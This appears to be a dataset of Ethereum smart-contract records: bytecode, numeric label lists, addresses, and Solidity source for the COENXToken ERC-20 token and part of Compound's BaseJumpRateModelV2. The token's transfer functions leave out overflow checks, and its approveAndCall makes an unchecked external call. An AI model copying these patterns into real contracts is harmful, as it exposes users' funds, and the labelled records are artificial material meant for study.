61134d565b60005b91505090565b600a546000906001600160a01b0316331461136d57600080fd5b600a546040516323b872dd60e01b81526001600160a01b03878116600483015230602483015260448201879052909116906323b872dd90606401602060405180830381600087803b1580156113c157600080fd5b505af11580156113d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f9919061346f565b61140257600080fd5b60006114108385018561348f565b90506001600160e01b031981167fda92b89b000000000000000000000000000000000000000000000000000000001415611467576000611452848601866134a9565b915050611460878783612c4c565b505061151b565b6001600160e01b031981167f7cabec9e0000000000000000000000000000000000000000000000000000000014156114a8576114a3868661327d565b61151b565b60405162461bcd60e51b815260206004820152602b60248201527f696e76616c69642073656c6563746f7220696e206f6e417070726f76616c526560448201527f636569766564206461746100000000000000000000000000000000000000000060648201526084015b60405180910390fd5b507f7b04a2d00000000000000000000000000000000000000000000000000000000095945050505050565b6000806000831161155657600080fd5b60008060009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156115a557600080fd5b505afa1580156115b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115dd9190613585565b6006546005549192506000916115f390476137f0565b6115fd91906137f0565b9050600060046000015482111561162d57600454839061161e9088906137d1565b61162891906137b1565b611642565b8261163887846137d1565b61164291906137b1565b90506000838761165061128e565b61165a91906137d1565b61166491906137b1565b905061167087856137f0565b600480546000906116829084906137d1565b90915550506004805485919060009061169c9084906137b1565b90915550506000546040516390596dd160e01b8152336004820152602481018990526001600160a01b03909116906390596dd190604401600060405180830381600087803b1580156116ed57600080fd5b505af1158015611701573d6000803e3d6000fd5b5050505061170f33836129a7565b801561179b57600a5460405163a9059cbb60e01b8152336004820152602481018390526001600160a01b039091169063a9059cbb90604401602060405180830381600087803b15801561176157600080fd5b505af1158015611775573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611799919061346f565b505b604080518381526020810183905290810188905233907fcfadcd7d986ed7903e13b7d868449944074885e2d144030d5df5b1d35122fbe19060600160405180910390a290945092505050915091565b600a546040516323b872dd60e01b8152336004820152306024820152604481018390526001600160a01b03909116906323b872dd90606401602060405180830381600087803b15801561183c57600080fd5b505af1158015611850573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611874919061346f565b61187d57600080fd5b611887338261327d565b50565b6001546040516370a0823160e01b81526001600160a01b03838116600483015260009216906370a0823190602401611238565b600054604051639b50438760e01b81523360048201526001600160a01b0384811660248301526044820184905290911690639b50438790606401610840565b6000806000831161190c57600080fd5b600154604080516318160ddd60e01b815290516000926001600160a01b0316916318160ddd916004808301926020929190829003018186803b15801561195157600080fd5b505afa158015611965573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119899190613585565b600954600854600a546040516370a0823160e01b81523060048201529394506000936001600160a01b03909116906370a082319060240160206040518083038186803b1580156119d857600080fd5b505afa1580156119ec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a109190613585565b611a1a91906137f0565b611a2491906137f0565b90506000600760000154821115611a54576007548390611a459088906137d1565b611a4f91906137b1565b611a69565b82611a5f87846137d1565b611a6991906137b1565b905060008387611a776121b6565b611a8191906137d1565b611a8b91906137b1565b9050611a9787856137f0565b60078054600090611aa99084906137d1565b909155505060078054859190600090611ac39084906137b1565b90915550506001546040516390596dd160e01b8152336004820152602481018990526001600160a01b03909116906390596dd190604401600060405180830381600087803b158015611b1457600080fd5b505af1158015611b28573d6000803e3d6000fd5b5050600a5460405163a9059cbb60e01b8152336004820152602481018690526001600160a01b03909116925063a9059cbb9150604401602060405180830381600087803b158015611b7857600080fd5b505af1158015611b8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bb0919061346f565b508015611bc157611bc133826129a7565b604080518281526020810184905290810188905233907f0263b3fb8887d31293358381c39d7d407eae71196f413ea6a6df574023131a6a9060600160405180910390a2945092505050915091565b60008060008060046000015460008054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015611c6757600080fd5b505afa158015611c7b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c9f9190613585565b600554600654929791965094509092509050565b600754600154604080516318160ddd60e01b81529051600093926001600160a01b0316916318160ddd916004808301926020929190829003018186803b158015611cfc57600080fd5b505afa158015611d10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d349190613585565b611d415782915050610f6f565b6000611d4d8483613799565b611d5f85670de0b6b3a76400006137d1565b611d6991906137b1565b9050611d7d81670de0b6b3a76400006137f0565b600160009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610f1e57600080fd5b600a54600154604080516318160ddd60e01b815290516001600160a01b039384169360009316916318160ddd916004808301926020929190829003018186803b158015611e1757600080fd5b505afa158015611e2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e4f9190613585565b6040516370a0823160e01b81523060048201526001600160a01b038416906370a082319060240160206040518083038186803b158015611e8e57600080fd5b505afa158015611ea2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ec69190613585565b6001546040516370a0823160e01b81523360048201526001600160a01b03909116906370a082319060240160206040518083038186803b158015611f0957600080fd5b505afa158015611f1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f419190613585565b611f4b91906137d1565b611f5591906137b1565b6040516370a0823160e01b81523360048201526001600160a01b038416906370a082319060240160206040518083038186803b158015611f9457600080fd5b505afa158015611fa8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fcc9190613585565b611fd69190613799565b9050816001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561201157600080fd5b505afa158015612025573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120499190613585565b811461205457600080fd5b600283905560038490558361207957634e487b7160e01b600052600160045260246000fd5b60025461209657634e487b7160e01b600052600160045260246000fd5b6003546002546040517fbd75af1b16e208f9d05e71a979a9d85e61791ef6537c46f819b0b443ab8baa38926120d392908252602082015260400190565b60405180910390a150505050565b600a546040516323b872dd60e01b8152336004820152306024820152604481018490526001600160a01b03909116906323b872dd90606401602060405180830381600087803b15801561213357600080fd5b505af1158015612147573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061216b919061346f565b61217457600080fd5b6107f4338383612c4c565b60025460035460009190819061219d90670de0b6b3a76400006137d1565b6121a791906137b1565b6121b191906137b1565b905090565b60065460055460009182916121cb90476137f0565b6121d591906137f0565b600454909150811061134a5760045461134590826137f0565b600080600a60009054906101000a90046001600160a01b03166001600160a01b0316635aa6e6756040518163ffffffff1660e01b815260040160206040518083038186803b15801561223f57600080fd5b505afa158015612253573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061227791906133a4565b90506000600a60009054906101000a90046001600160a01b03166001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156122c957600080fd5b505afa1580156122dd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061230191906133a4565b90506000600a60009054906101000a90046001600160a01b03166001600160a01b031663a3342fba6040518163ffffffff1660e01b815260040160206040518083038186803b15801561235357600080fd5b505afa158015612367573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061238b91906133a4565b90506001600160a01b03821615806124235750600a546040516376e5694160e11b81526001600160a01b03918216600482015283821660248201529084169063edcad2829060440160206040518083038186803b1580156123eb57600080fd5b505afa1580156123ff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612423919061346f565b61242c57600080fd5b61243461334b565b600a54604051627ebcdb60e21b81526001600160a01b0391821660048201527fe4f5729eb40e38b5a39dfb36d76ead9f9bc286f06852595980c5078f1af7e8c96024820152908516906301faf36c9060440160206040518083038186803b15801561249e57600080fd5b505afa1580156124b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124d69190613585565b8152600a54604051627ebcdb60e21b81526001600160a01b0391821660048201527fcfb1dd89e6f4506eca597e7558fbcfe22dbc7e0b9f2b3956e121d0e344d6f7aa6024820152908516906301faf36c9060440160206040518083038186803b15801561254257600080fd5b505afa158015612556573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061257a9190613585565b60208201526001600160a01b0382161561263557600a54604051627ebcdb60e21b81526001600160a01b0391821660048201527fdd0618e2e2a17ff193a933618181c8f8909dc169e9707cce1921893a88739ca06024820152908516906301faf36c9060440160206040518083038186803b1580156125f857600080fd5b505afa15801561260c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126309190613585565b612638565b60005b6040820181905260208201518251600092670de0b6b3a764000092909161265f9084613799565b6126699190613799565b6126739190613799565b61267d908a6137d1565b61268791906137b1565b905060008160026000015461269c91906137f0565b90506000816002600101546126b191906137b1565b90506000821180156126c35750600081115b6126cc57600080fd5b6002546003546000916126de916137b1565b6126e890836137f0565b9050898111156126f757600080fd5b60408501516020860151670de0b6b3a764000091906127169083613799565b6127209190613799565b61272a908d6137d1565b61273491906137b1565b600954600854600a546040516370a0823160e01b81523060048201526001600160a01b03909116906370a082319060240160206040518083038186803b15801561277d57600080fd5b505afa158015612791573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127b59190613585565b6127bf91906137f0565b6127c991906137f0565b10156127d457600080fd5b60408501516020860151670de0b6b3a764000091906127f39083613799565b6127fd9190613799565b612807908d6137d1565b61281191906137b1565b60025461281e91906137f0565b6002558451670de0b6b3a764000090612837908d6137d1565b61284191906137b1565b60078054600090612853908490613799565b90915550506020850151670de0b6b3a764000090612871908d6137d1565b61287b91906137b1565b6008805460009061288d908490613799565b90915550506040850151670de0b6b3a7640000906128ab908d6137d1565b6128b591906137b1565b600980546000906128c7908490613799565b9091555050600a5460405163a9059cbb60e01b81526001600160a01b038e81166004830152602482018e90529091169063a9059cbb90604401602060405180830381600087803b15801561291a57600080fd5b505af115801561292e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612952919061346f565b50604080518c8152602081018390526001600160a01b038e16917f9c47f3aea4ae6f59b460e34f63a8022f456438a45fb372a707456f7a2784fcd991015b60405180910390a29b9a5050505050505050505050565b804710156129f75760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401611512565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114612a44576040519150601f19603f3d011682016040523d82523d6000602084013e612a49565b606091505b50509050806107f45760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401611512565b6000546001600160a01b0316635d7b075883612adb84610e08565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401600060405180830381600087803b158015612b2157600080fd5b505af1158015612b35573d6000803e3d6000fd5b505050508060046000016000828254612b4e9190613799565b90915550506040518181526001600160a01b038316907f6620e0774e01a1d5b97772375d103248f2223f7367ecefa0c580d8230decef5a906020015b60405180910390a25050565b60006040517f3d602d80600a3d3981f3363d3d373d3d3d363d7300000000000000000000000081528260601b60148201527f5af43d82803e903d91602b57fd5bf3000000000000000000000000000000000060288201526037816000f09150506001600160a01b038116610f6f5760405162461bcd60e51b815260206004820152601660248201527f455243313136373a20637265617465206661696c6564000000000000000000006044820152606401611512565b600080600a60009054906101000a90046001600160a01b03166001600160a01b0316635aa6e6756040518163ffffffff1660e01b815260040160206040518083038186803b158015612c9d57600080fd5b505afa158015612cb1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612cd591906133a4565b90506000600a60009054906101000a90046001600160a01b03166001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b158015612d2757600080fd5b505afa158015612d3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612d5f91906133a4565b90506000600a60009054906101000a90046001600160a01b03166001600160a01b031663a3342fba6040518163ffffffff1660e01b815260040160206040518083038186803b158015612db157600080fd5b505afa158015612dc5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612de991906133a4565b90506001600160a01b0382161580612e815750600a546040516376e5694160e11b81526001600160a01b03918216600482015283821660248201529084169063edcad2829060440160206040518083038186803b158015612e4957600080fd5b505afa158015612e5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e81919061346f565b612e8a57600080fd5b612e9261334b565b600a54604051627ebcdb60e21b81526001600160a01b0391821660048201527fe4f5729eb40e38b5a39dfb36d76ead9f9bc286f06852595980c5078f1af7e8c96024820152908516906301faf36c9060440160206040518083038186803b158015612efc57600080fd5b505afa158015612f10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f349190613585565b8152600a54604051627ebcdb60e21b81526001600160a01b0391821660048201527fcfb1dd89e6f4506eca597e7558fbcfe22dbc7e0b9f2b3956e121d0e344d6f7aa6024820152908516906301faf36c9060440160206040518083038186803b158015612fa057600080fd5b505afa158015612fb4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612fd89190613585565b60208201526001600160a01b0382161561309357600a54604051627ebcdb60e21b81526001600160a01b0391821660048201527fdd0618e2e2a17ff193a933618181c8f8909dc169e9707cce1921893a88739ca06024820152908516906301faf36c9060440160206040518083038186803b15801561305657600080fd5b505afa15801561306a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061308e9190613585565b613096565b60005b60408201526002546000906130ac908990613799565b90506000816002600101546130c191906137b1565b90506000821180156130d35750600081115b6130dc57600080fd5b60025460035460009183916130f191906137b1565b6130fb91906137f0565b6006546005549192509061310f90476137f0565b61311991906137f0565b81111561312557600080fd5b604084015160208501518551600092670de0b6b3a764000092909161314a90846137f0565b61315491906137f0565b61315e91906137f0565b61316890846137d1565b61317291906137b1565b90508981101561318157600080fd5b60028490558451670de0b6b3a76400009061319c90846137d1565b6131a691906137b1565b600480546000906131b8908490613799565b90915550506020850151670de0b6b3a7640000906131d690846137d1565b6131e091906137b1565b600580546000906131f2908490613799565b90915550506040850151670de0b6b3a76400009061321090846137d1565b61321a91906137b1565b6006805460009061322c908490613799565b9091555061323c90508c826129a7565b604080518c8152602081018390526001600160a01b038e16917fbea455d4604caa788f862499efde7bc7f24081f52db686c99c904ff715373b9b9101612990565b6001546001600160a01b0316635d7b07588361329884611cb3565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401600060405180830381600087803b1580156132de57600080fd5b505af11580156132f2573d6000803e3d6000fd5b50505050806007600001600082825461330b9190613799565b90915550506040518181526001600160a01b038316907f4f0c65dc19ed7bd52ba3051b8d85e779e514fed82d8ae5991b8d21c59d95b6f490602001612b8a565b60405180606001604052806003906020820280368337509192915050565b80356001600160e01b031981168114610f6f57600080fd5b600060208284031215613392578081fd5b813561339d8161385f565b9392505050565b6000602082840312156133b5578081fd5b815161339d8161385f565b600080604083850312156133d2578081fd5b82356133dd8161385f565b946020939093013593505050565b60008060008060608587031215613400578182fd5b843561340b8161385f565b935060208501359250604085013567ffffffffffffffff8082111561342e578384fd5b818701915087601f830112613441578384fd5b81358181111561344f578485fd5b886020828501011115613460578485fd5b95989497505060200194505050565b600060208284031215613480578081fd5b8151801515811461339d578182fd5b6000602082840312156134a0578081fd5b61339d82613369565b600080604083850312156134bb578182fd5b6133dd83613369565b6000602082840312156134d5578081fd5b815167ffffffffffffffff808211156134ec578283fd5b818401915084601f8301126134ff578283fd5b81518181111561351157613511613849565b604051601f8201601f19908116603f0116810190838211818310171561353957613539613849565b81604052828152876020848701011115613551578586fd5b613562836020830160208801613807565b979650505050505050565b60006020828403121561357e578081fd5b5035919050565b600060208284031215613596578081fd5b5051919050565b600080600080600080600060e0888a0312156135b7578283fd5b8735965060208801356135c98161385f565b955060408801356135d98161385f565b945060608801356135e98161385f565b9699959850939660808101359560a0820135955060c0909101359350915050565b6000806040838503121561361c578182fd5b50508035926020909101359150565b60008151808452613643816020860160208601613807565b601f01601f19169290920160200192915050565b60008251613669818460208701613807565b7f2d534c5000000000000000000000000000000000000000000000000000000000920191825250600401919050565b600082516136aa818460208701613807565b7f2d53686172644c50000000000000000000000000000000000000000000000000920191825250600801919050565b600082516136eb818460208701613807565b7f2d45746865724c50000000000000000000000000000000000000000000000000920191825250600801919050565b6000825161372c818460208701613807565b7f2d454c5000000000000000000000000000000000000000000000000000000000920191825250600401919050565b60006001600160a01b03851682526060602083015261377d606083018561362b565b828103604084015261378f818561362b565b9695505050505050565b600082198211156137ac576137ac613833565b500190565b6000826137cc57634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156137eb576137eb613833565b500290565b60008282101561380257613802613833565b500390565b60005b8381101561382257818101518382015260200161380a565b838111156107115750506000910152565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461188757600080fdfea26469706673582212207b7704262fc11257a56d506880b8b2f2a2b5290671573da6e44be7b450e0129164736f6c63430008030033
[ 4, 7, 9, 12, 16, 5 ]
0xf2e5622ae96513930cae5e509a21b855d11d343f
pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract COENXToken is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. function COENXToken( ) { balances[msg.sender] = 96000000000000000000000000; // Give the creator all initial tokens totalSupply = 96000000000000000000000000; // Update total supply name = "COENX Token"; // Set the name for display purposes decimals = 18; // Amount of decimals for display purposes symbol = "COENX"; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100c1578063095ea7b31461015157806318160ddd146101b657806323b872dd146101e1578063313ce5671461026657806354fd4d501461029757806370a082311461032757806395d89b411461037e578063a9059cbb1461040e578063cae9ca5114610473578063dd62ed3e1461051e575b3480156100bb57600080fd5b50600080fd5b3480156100cd57600080fd5b506100d6610595565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101165780820151818401526020810190506100fb565b50505050905090810190601f1680156101435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015d57600080fd5b5061019c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610633565b604051808215151515815260200191505060405180910390f35b3480156101c257600080fd5b506101cb610725565b6040518082815260200191505060405180910390f35b3480156101ed57600080fd5b5061024c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061072b565b604051808215151515815260200191505060405180910390f35b34801561027257600080fd5b5061027b6109a4565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102a357600080fd5b506102ac6109b7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102ec5780820151818401526020810190506102d1565b50505050905090810190601f1680156103195780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561033357600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a55565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b50610393610a9d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d35780820151818401526020810190506103b8565b50505050905090810190601f1680156104005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041a57600080fd5b50610459600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b3b565b604051808215151515815260200191505060405180910390f35b34801561047f57600080fd5b50610504600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610ca1565b604051808215151515815260200191505060405180910390f35b34801561052a57600080fd5b5061057f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f3e565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561062b5780601f106106005761010080835404028352916020019161062b565b820191906000526020600020905b81548152906001019060200180831161060e57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156107f7575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156108035750600082115b1561099857816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061099d565b600090505b9392505050565b600460009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a4d5780601f10610a2257610100808354040283529160200191610a4d565b820191906000526020600020905b815481529060010190602001808311610a3057829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b335780601f10610b0857610100808354040283529160200191610b33565b820191906000526020600020905b815481529060010190602001808311610b1657829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610b8b5750600082115b15610c9657816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610c9b565b600090505b92915050565b600082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b83811015610ee2578082015181840152602081019050610ec7565b50505050905090810190601f168015610f0f5780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af1925050501515610f3357600080fd5b600190509392505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a72305820f77b49744d1e1d25650130bd418381da6e4fc79870914b79897dc758f296a4fa0029
[ 38 ]
0xF2e5dB36B0682f2CD6bC805c3a4236194e01f4D5
pragma solidity ^0.5.16; import "./SafeMath.sol"; /** * @title Logic for Compound's JumpRateModel Contract V2. * @author Compound (modified by Dharma Labs, refactored by Arr00) * @notice Version 2 modifies Version 1 by enabling updateable parameters. */ contract BaseJumpRateModelV2 { using SafeMath for uint; event NewInterestParams(uint baseRatePerBlock, uint multiplierPerBlock, uint jumpMultiplierPerBlock, uint kink); /** * @notice The address of the owner, i.e. the Timelock contract, which can update parameters directly */ address public owner; /** * @notice The approximate number of blocks per year that is assumed by the interest rate model */ uint public constant blocksPerYear = 2102400; /** * @notice The multiplier of utilization rate that gives the slope of the interest rate */ uint public multiplierPerBlock; /** * @notice The base interest rate which is the y-intercept when utilization rate is 0 */ uint public baseRatePerBlock; /** * @notice The multiplierPerBlock after hitting a specified utilization point */ uint public jumpMultiplierPerBlock; /** * @notice The utilization point at which the jump multiplier is applied */ uint public kink; /** * @notice Construct an interest rate model * @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18) * @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18) * @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point * @param kink_ The utilization point at which the jump multiplier is applied * @param owner_ The address of the owner, i.e. the Timelock contract (which has the ability to update parameters directly) */ constructor(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_, address owner_) internal { owner = owner_; updateJumpRateModelInternal(baseRatePerYear, multiplierPerYear, jumpMultiplierPerYear, kink_); } /** * @notice Update the parameters of the interest rate model (only callable by owner, i.e. Timelock) * @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18) * @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18) * @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point * @param kink_ The utilization point at which the jump multiplier is applied */ function updateJumpRateModel(uint baseRatePerYear, uint 